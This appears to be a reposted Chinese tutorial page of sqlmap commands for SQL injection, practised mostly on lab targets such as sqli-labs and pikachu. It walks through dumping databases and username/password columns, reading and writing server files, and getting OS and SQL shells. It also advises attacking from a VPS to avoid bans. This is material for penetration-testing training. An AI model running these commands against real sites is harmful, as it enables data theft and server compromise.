Sqlmap工具使用笔记

这篇具有很好参考价值的文章主要介绍了Sqlmap工具使用笔记。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

pip install sqlmap
SQLmap建议使用kali版本的 不建议使用windows版本
攻击的时候建议使用vps去攻击 否则本地ip会很快被封
sqlmap

sqlmap -u "目标网址" --dbs
sqlmap -u "目标网址" -D [数据库名] --tables
sqlmap -u "目标网址" -D [数据库名] -T [表名] --columns
sqlmap -u "目标网址" -D [数据库名] -T [表名] -C [列名] --dump

指定报错注入

sqlmap -u "目标网址" --dbs --batch --threads 10 --technique E

post类
sqlmap -u "目标网址" --data "uname=123*&password=123&submit=submit" --dbs --batch --threads 10 --technique E
sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/" --data "uname=usss*&passwd=passwd&submit=Submit" --dbs --batch --threads 10 --technique BETS --level 5

http头注入
burp抓包,要攻击的地方*
sqlmap -r "./a.txt" --dbs --threads 10 --batch --technique BETS

或者
sqlmap -u "目标网址" --user-agent="xxx*" --level 4 --dbs --threads 10 --batch --technique BETS

读取文件
Sqlmap -u "
http://pikachu.com/vul/sqli/sqli_str.php?name=a&submit=submit" --file-read "c:/a.txt"

写入文件
Sqlmap -u "
http://pikachu.com/vul/sqli/sqli_str.php?name=a&submit=submit"  --file-write "1.txt" --file-dest "c:/123.txt"
//将本地目录下的1.txt写到目标url下的c盘下

执行os-shell
注意!!!!!你必须确认你网站的路径
sqlmap -u "
http://pikachu.com/vul/sqli/sqli_str.php?name=a&submit=submit" --os-shell

连接数据库执行数据库shell命令
Sqlmap -d mysql://[数据库用户名]:[密码]@127.0.0.1:3306/haha --sql-shell
本身是使用python编写的 非常厉害 基本人手一个  而且是开源的 可以自行重写改造开发
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1'                    # 检测注入点是否可用
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --current-user  #web数据库使用账户
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --users     #列出sql所有用户
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --passwords   #数据库账户与密码
sqlmap -u ‘192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1’ --tables   #输出所有的表
burp抓包保存为1.txt
sqlmap -r 1.txt --dbs        #可曝出该mysql中所有数据库名称
sqlmap -r 1.txt --current-db   #web当前使用的数据库
如果sqlmap攻击比较慢 要么是网站比较慢 或者是有防火墙,这款软件本身是有指纹的 可能被对方追查到甚至封ip逆推
(ps:url必须是检测出来的有漏洞的一个网页 存在注入点才行)
1. sqlmap -u [目标url] --dbs    //获取目标网站的所有数据库库名   发现security库
//  sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --current-db   #web当前使用的数据库
Sqlmap工具使用笔记
Sqlmap工具使用笔记
2.  sqlmap -u [目标url] -D [第一步获取某个数据库的名字] --tables   //获取库里的表
Sqlmap工具使用笔记
3.  sqlmap -u [目标url] -D [数据库名] -T [库中的某个表名] --columns   //发现users表的列  发现id username password
Sqlmap工具使用笔记
4.  sqlmap -u [目标url] -D [数据库名] -T [数据表名] -C username,password --dump    //找到id,username,password的内容 获取相应表里的列的字段数据
Sqlmap工具使用笔记
完整版命令:
sqlmap -u [目标url] --dbs --batch --threads 10 --technique U
忽略错误,使用sqlmap的10线程,使用union select注入目标网站  technique主要是注入的方法
SQLmap实现 报错注入 :(普通的union select无法实现的情况)
sqlmap -u [目标url] --current-db --batch --threads 10 --technique E   //使用报错注入 E是error based
SQLmap实现布尔盲注:
sqlmap -u [目标url] --current-db --batch --threads 10 --technique B
Sqlmap工具使用笔记Sqlmap工具使用笔记
SQLmap实现时间盲注:
sqlmap -u [目标url] --current-db --batch --threads 10 --technique T -v 3   //-v 3 是调整等级 可以不写
如果网站传参数的方式是post型:post方面的注入 可以用burp抓包 在repearter操作
Sqlmap工具使用笔记
post代码传参结合数据库查询的语句:
$uname = $_POST['uname'];
$passwd = $_POST['password'];
select username,password from users where username='$uname' and password='$passwd' limit 0,1
sqlmap -u http://sqlilabs.njhack.xyz/Less-11/ --data "uname=admin*&passwd=admin&submit=Submit" --current-db --batch --threads 10 --technique E
--data 后面跟的是post的数据    *号标哪,就是让sqlmap打哪
POST型使用sqlmap方法2:
在burp抓到post的网页的包以后
在相应的windwos的sqlmap下输入
python sqlmap.py -r 
之后把burp抓到的包保存为txt到桌面,直接拖到这个dos界面以后就可以了
Sqlmap工具使用笔记
SQLmap之POST注入(*标识哪里 就对哪里进行打击)
sqlmap -u "目标url" --data "uname=admin*&passwd=admin&submit=Submit" --dbs --batch --threads 10 --technique E
SQLmap实现Http-header头注入之 User-Agent注入
#方法1
sqlmap -u http://sqlilabs.njhack.xyz/Less-18/ --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0*" --level 4 --dbs --threads 10 --batch --technique E
//在使用请求头注入的时候,--level必须大于3
user-agent注入   //sqlmap -u [网页的url地址] --user-agent="抓包得到的对应的内容*" --level 4 --dbs --threads 10 --batch --technique E
#方法2 使用burp (更好)
1.burp抓到相应的数据包 右键copy to file
2.进入刚才保存的txt文件 在User-Agent最后打个星号 *
3.将相应的txt文件拖到相应的根目录下
4.sqlmap -r "/root/shuju.txt" --dbs --batch --threads 10 --technique E
SQLmap实现Http-header头注入之 Cookie注入
sqlmap -u http://sqlilabs.njhack.xyz/Less-20/index.php --cookie="uname = admin*;__cfduid=dab97c3dd6a54c5ca485d3e880af5ce271605180690" --level 4 --dbs --threads 10 --batch --technique BETS
// sqlmap -u [网页的url地址] --cookie="原来*的cookie内容" --level 4 --dbs --threads 10 --batch --technique E
1.盲注中sqlmap的使用(如果修改请同步SQL注入文件中的部分内容)
Sqlmap进行布尔盲注
#参数
#1.跑出当前数据库
sqlmap -u [执行注入网址](GET) --current-db(当前数据库) --batch(默认选择是) --threads
10 (使用10线程去注入) --level 5 (注入程度,最高为5)--technique B
#2.跑出当前数据表
sqlmap -u [执行注入网址] -D [选择注入的数据库名] --tables(想要注入它的数据表) --batch
--threads 10 --level 5 --technique B
#3.跑出数据列
sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] --columns(想
要注入它的数据列) --batch --threads 10 --level 5 --technique B
#4.进行数据榨取
sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] -C [选择想要
注入的数据列名](可多选,逗号分隔) --dump(进行数据榨取) --threads 10 --level5 --
technique B
Sqlmap进行时间盲注
#参数
#1.跑出当前数据库
sqlmap -u [执行注入网址](GET) --current-db(当前数据库) --batch(默认选择是) --threads
10 (使用10线程去注入) --level 5 (注入程度,最高为5)--technique T
#2.跑出当前数据表
sqlmap -u [执行注入网址] -D [选择注入的数据库名] --tables(想要注入它的数据表) --batch
--threads 10 --level 5 --technique T
#3.跑出数据列
sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] --columns(想
要注入它的数据列) --batch --threads 10 --level 5 --technique T
#4.进行数据榨取
sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] -C [选择想要
注入的数据列名](可多选,逗号分隔) --dump(进行数据榨取) --threads 10 --level5 --
technique T
指定数据库类型 --dbms
http://192.168.1.121/sqli/Less-1/?id=1&&name=2 --dbms mysql --dbs
指定操作系统 --os
http://192.168.1.121/sqli/Less-1/?id=1&&name=2 --os windows --dbs
解决编码问题
将所有结果转换为字符串,并用空格替换NULL结果 --no-cast
关闭字符串转义机制
--no-escape
设置无效值替换
--invalid-bignum 大整数替换
--invalid-logical 布尔操作替换
--invalid-string 随机字符串替换
自定义注入负载位置
--prefix 设置前缀
--suffix 设置后缀
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" -- prefix="')" --suffix="and ('abc'='abc" --dbs
payload:id=('1') and ('abc'='abc')
设置tamper脚本
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" --tamper "least.py,varnish.py" --dbs
设置dbms认证
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" --dbms cred="root:root" --dbs
设置具体sql注入技术
--technique B 布尔盲注 
--technique E 报错注入
--technique U union查询注入
--technique S 堆叠注入
--technique T 时间盲注
--technique Q 内联查询注入
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" -- technique T --time-sec 3 --dbs
--time -sec 时间盲注时间为3
指定union字段数
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" --union cols 12-18 --dbs
指定union字符,默认是null
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" --union char aaa --dbs
2. 判断文本中的请求是否存在注入。
从文件中加载HTTP请求,SQLMAP可以从一个文本文件中获取HTTP请求,根据这个文本文件我
们可以不设置其他参数,譬如Cookie,POST等,对文本中的Web数据包进行分析注入。
(1) Burpsuite抓包,全部内容保存为文本,譬如1.txt
(2) Sqlmap -r 参数进行注入
sqlmap -r 1.txt [其他参数] --current-db
sqlmap -r 1.txt --current-db --batch -threads 10   #速度会快一点
(3)如果存在注入,那么可以用sqlmap执行数据库命令。后续命令都是数据库的基本操作命令
sqlmap -r 1.txt --sql-shell --threads 10 --batch
sqlmap -u [url] --sql-shell
3. SQLmap 运行任意操作系统命令
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭 
在数据库为MySQL,PostgreSQL或Microsoft SQL SERVER,并且用户具有特定函数的时候,我
们通过包含自定义的SQLmap可以自动的上传一个二进制库函数sys_exec()和sys_eval(),那么创
建的这两个函数就可以执行系统命令。
UDF mysql 的一个拓展接口, UDF Userdefined function )可翻译为用户自定义函数,这个
是用来拓展 Mysql 的技术手段。
sqlmap -r 1.txt --os-shell   (后续语言可以选PHP,后续还有路径。如果不手动输入,那么sqlmap会把常用路径自动爆破,未必会成功,手动输入选择2。)
sqlmap -u [url] --os-shell
#获得系统shell后可以输入系统命令,如ipconfig,netuser等
4.SQLmap --file-read从服务器中读取文件
当用户权限足够大并且具有特定的函数(存在注入点),即可读取服务器中的文件,可以是文本,也可以是二进 制文件
sqlmap -r 1.txt --file-read "E:/a.txt" -v 1
sqlmap -u [url] --file-read "[目标文件]" -v 1
5. SQLmap --file-write --file-dest上传文件到服务器中
sqlmap -r 1.txt --file-write nihao.txt --file-dest "E:/kali-liux.txt" --batch --threads 10 -v 1    
#(--batch和--threads是没有限制的,都可以加)
sqlmap -u [url] --file-write [想要上传的文件] --file-dest [目标的文件位置] -v 1
使用sqlmap进行cookie注入
1.首先使用burpsuite抓包,查到cookie是什么
2. 进行sqlmap的cookie注入攻击( --dbs是用来获取所有数据库名称的参数。
sqlmap -u [网站的URL] --cookie "[抓到获取到的Cookie值]" --level 2
参数--level共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。
3.爆破库( --current-db是为了获取当前数据库名称。
sqlmap -u http://www.any.com/sqli/Less-20/index.php --cookie "uname=admin"  --level 2 –dbs
sqlmap -u http://www.any.com/sqli/Less-20/index.php --cookie "uname=admin"  --level 2 --current-db
4.爆破表( 参数-D用于指定数据库名称为security。参数--tables为了明确获取的内容是security数据库中的表的名称。
​sqlmap -u http://www.any.com/sqli/Less-20/index.php --cookie "uname=admin"  --level 2 –D security --tables
5.爆破字段( 参数-T用于指定目标是security数据库中的名为users表。参数--columns为了明确获取的内容是security数据库中的users表的列的名称。
​sqlmap -u http://www.any.com/sqli/Less-20/index.php --cookie "uname=admin"  --level 2 -D security -T users --columns
6. 对关键字段进行详细展示( 参数-C password,username用于指定目标是security数据库中名为users表的password列和username列,顺便指出来这两列的输出顺序。参数--dump为了明确获取的内容是security数据库中的users表的password列和username列的内容。
​sqlmap -u http://www.any.com/sqli/Less-20/index.php --cookie "uname=admin"  --level 2 -D security -T users -C password,username –dump

文章来源地址https://www.toymoban.com/news/detail-462568.html

到了这里,关于Sqlmap工具使用笔记的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • sqlmap 使用笔记(kali环境)

    kali环境 -u或–url 直接扫描单个路径 -m 文件中保存多个url,工具会依次扫描 -r 从文件中获取http请求 文件内容直接copy 当请求是HTTPS的时候,需要配合–force-ssl参数来使用,或者可以在Host头后面加上:443 请求设置 在有些时候web服务器使用了伪静态,导致无法直接使用sqlmap测试

    2024年02月20日
    浏览(26)
  • 渗透工具-sqlmap-基本知识及使用教程

      -u 指定目标URL (可以是http协议也可以是https协议) -d 连接数据库 --dbs 列出所有的数据库 --current-db 列出当前数据库 --tables 列出当前的表 --columns 列出当前的列 -D 选择使用哪个数据库 -T 选择使用哪个表 -C 选择使用哪个列 --dump 获取字段中的数据 --dump-all  拖库 --batch  自动选择

    2024年02月04日
    浏览(33)
  • kali工具SQLmap基本使用方法流程以及命令解析

    这边来详细写一篇SQLmap工具的使用方法,这边借用了pikachu里sql注入类的字符形注入  首先sql注入肯定要先找注入点在哪里,我们在输入栏里输入admin试试  看到有向后台查询的get请求,然后直接放到sqlmap里试一下 注意:-u后面的URL链接一定要加双引号,不加的话有时候get请求里

    2023年04月19日
    浏览(28)
  • 黑客工具之sqlmap安装教程,超详细使用教程(附工具安装包)

    一、sqlmap简介 sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。 sqlmap支持五种不同的注入模式: 基于布尔的盲注,即可以根据返回页面判断条件真假的注入 基于时间的盲注,即不能根据页面返回内容

    2023年04月10日
    浏览(24)
  • sqlmap工具说明

    1 工具简介 3 1.1 简述 3 1.2 背景及需求 3 1.3 主要功能 3 2 功能确认 4 2.1 安装和使用 4 2.1.1 Windows操作系统 4 2.1.2 Linux操作系统 6 2.1.3 Kali 7 2.2 添加目标 7 2.2.1 参数-u 7 2.2.2 参数-m 8 2.2.3 参数-r 9 2.3 指定参数 11 2.4 爆破数据库 11 2.5 爆破表 12 2.6 爆破字段 12 2.7 爆破值 13 2.8 检测是否被

    2024年01月22日
    浏览(26)
  • SQL注入工具之SQLmap入门操作

    了解SQLmap 基础操作 SQLmap 是一款自动化的 SQL 注入工具,可以用于检测和利用SQL注入漏洞。 以下是 SQLmap 的入门操作步骤: 1.下载 SQLmap :可以从官方网站(https://sqlmap.org/)下载最新版本的SQLmap。 2.打开终端 :在终端中进入 SQLmap 所在的目录。 3.输入命令 :使用以下命令运行

    2024年02月21日
    浏览(29)
  • 利用sqlmap进行post注入学习笔记

    sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,MySQL,Oracle,SQL Server,DB2等多种数据库。支持get,post ,cookie注入,支持基于布尔的盲注,基于时间的盲注,错误回显注入,联合查询注入,堆查询注入等。 1.在登录处,用于判断用户名、密码会使用select语句;

    2024年02月13日
    浏览(28)
  • 【网络安全-sql注入(5)】sqlmap以及几款自动化sql注入工具的详细使用过程(提供工具)

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 (也可以拿自己的环镜来玩,我是用pikachu靶场来演示的) 【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)_网络安全_Ai

    2024年02月08日
    浏览(40)
  • SQL注入(DVWA靶场搭建及使用、sqlMap注入、sqlmap问题及解决办法)

    1、客户端向服务端请求的流程 2、SQL注入常见分类  3、SQL注入常见过程  4、SQL注入的作用  5、常用SQL测试语句  注释字符: 一、下载DVWA 下载地址:DVWA/README.zh.md at master · digininja/DVWA · GitHub 这里我是从GitHub上下载的,小伙伴们自行选择 二、安装DVWA 在安装前,需要做一个

    2024年01月23日
    浏览(32)
  • WEB漏洞-SQL注入-利用SQLMAP工具绕过WAF

    访问使用阿里云搭建的网站(存在自带的阿里云盾)。 可以看到此时网站可以正常访问,可以进行正常注入。 使用工具进行注入。 可以看到在使用工具注入没多久后便返回了不存在注入点的信息。 因为经常会用到SQLMAP这款工具对注入点进行检测,在遇到WAF时,如果还想继续

    2024年02月12日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包